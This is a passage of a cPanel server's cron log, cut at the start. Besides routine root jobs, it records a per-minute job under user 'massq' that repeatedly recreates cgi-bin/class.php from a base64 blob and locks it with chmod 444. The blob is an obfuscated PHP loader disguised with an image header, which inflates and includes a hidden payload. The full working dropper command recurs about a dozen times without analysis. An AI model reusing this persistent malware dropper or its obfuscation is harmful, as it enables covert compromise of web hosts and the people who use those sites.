lMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:45:01 server CROND[3729]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:45:01 server CROND[3730]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:46:01 server CROND[3842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:47:01 server CROND[3910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:48:01 server CROND[4058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:49:01 server CROND[4118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:50:01 server CROND[4204]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:50:01 server CROND[4205]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:50:01 server CROND[4206]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 13:50:01 server CROND[4208]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:50:01 server CROND[4207]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:51:01 server CROND[4328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:52:01 server CROND[4393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:53:01 server CROND[4550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:54:01 server CROND[4618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:55:01 server CROND[4683]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:55:01 server CROND[4684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:55:01 server CROND[4685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:56:01 server CROND[4803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:57:01 server CROND[4863]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 13:57:01 server CROND[4864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:58:01 server CROND[5012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
